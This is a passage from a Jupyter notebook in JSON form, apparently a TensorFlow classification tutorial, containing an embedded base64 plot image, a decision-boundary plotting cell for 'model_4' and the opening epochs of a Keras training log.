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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Check the deicison boundary (blue is blue class, yellow is the crossover, red is red class)\n", - "plot_decision_boundary(model_4, X, y)" - ] - }, - { - "cell_type": "code", - "execution_count": 90, - "id": "5f59abfb", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6891 - accuracy: 0.5020\n", - "Epoch 2/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6848 - accuracy: 0.5170\n", - "Epoch 3/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6824 - accuracy: 0.5160\n", - "Epoch 4/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6813 - accuracy: 0.5300\n", - "Epoch 5/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6802 - accuracy: 0.5390\n", - "Epoch 6/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6794 - accuracy: 0.5380\n", - "Epoch 7/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6785 - accuracy: 0.5500\n", - "Epoch 8/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6778 - accuracy: 0.5480\n", - "Epoch 9/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6772 - accuracy: 0.5530\n", - "Epoch 10/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6766 - accuracy: 0.5510\n", - "Epoch 11/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6760 - accuracy: 0.5500\n", - "Epoch 12/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6754 - accuracy: 0.5550\n", - "Epoch 13/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6747 - accuracy: 0.5560\n", - "Epoch 14/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6741 - accuracy: 0.5540\n", - "Epoch 15/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6734 - accuracy: 0.5580\n", - "Epoch 16/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6727 - accuracy: 0.5550\n", - "Epoch 17/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6722 - accuracy: 0.5550\n", - "Epoch 18/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6716 - accuracy: 0.5550\n", - "Epoch 19/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6710 - accuracy: 0.5590\n", - "Epoch 20/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6702 - accuracy: 0.5600\n", - "Epoch 21/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6696 - accuracy: 0.5640\n", - "Epoch 22/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6688 - accuracy: 0.5600\n", - "Epoch 23/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6682 - accuracy: 0.5700\n", - "Epoch 24/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6679 - accuracy: 0.5570\n", - "Epoch 25/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6671 - accuracy: 0.5670\n", - "Epoch 26/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6662 - accuracy: 0.5750\n", - "Epoch 27/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6657 - accuracy: 0.5810\n", - "Epoch 28/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6645 - accuracy: 0.5700\n", - "Epoch 29/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6642 - accuracy: 0.5700\n", - "Epoch 30/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6634 - accuracy: 0.5790\n", - "Epoch 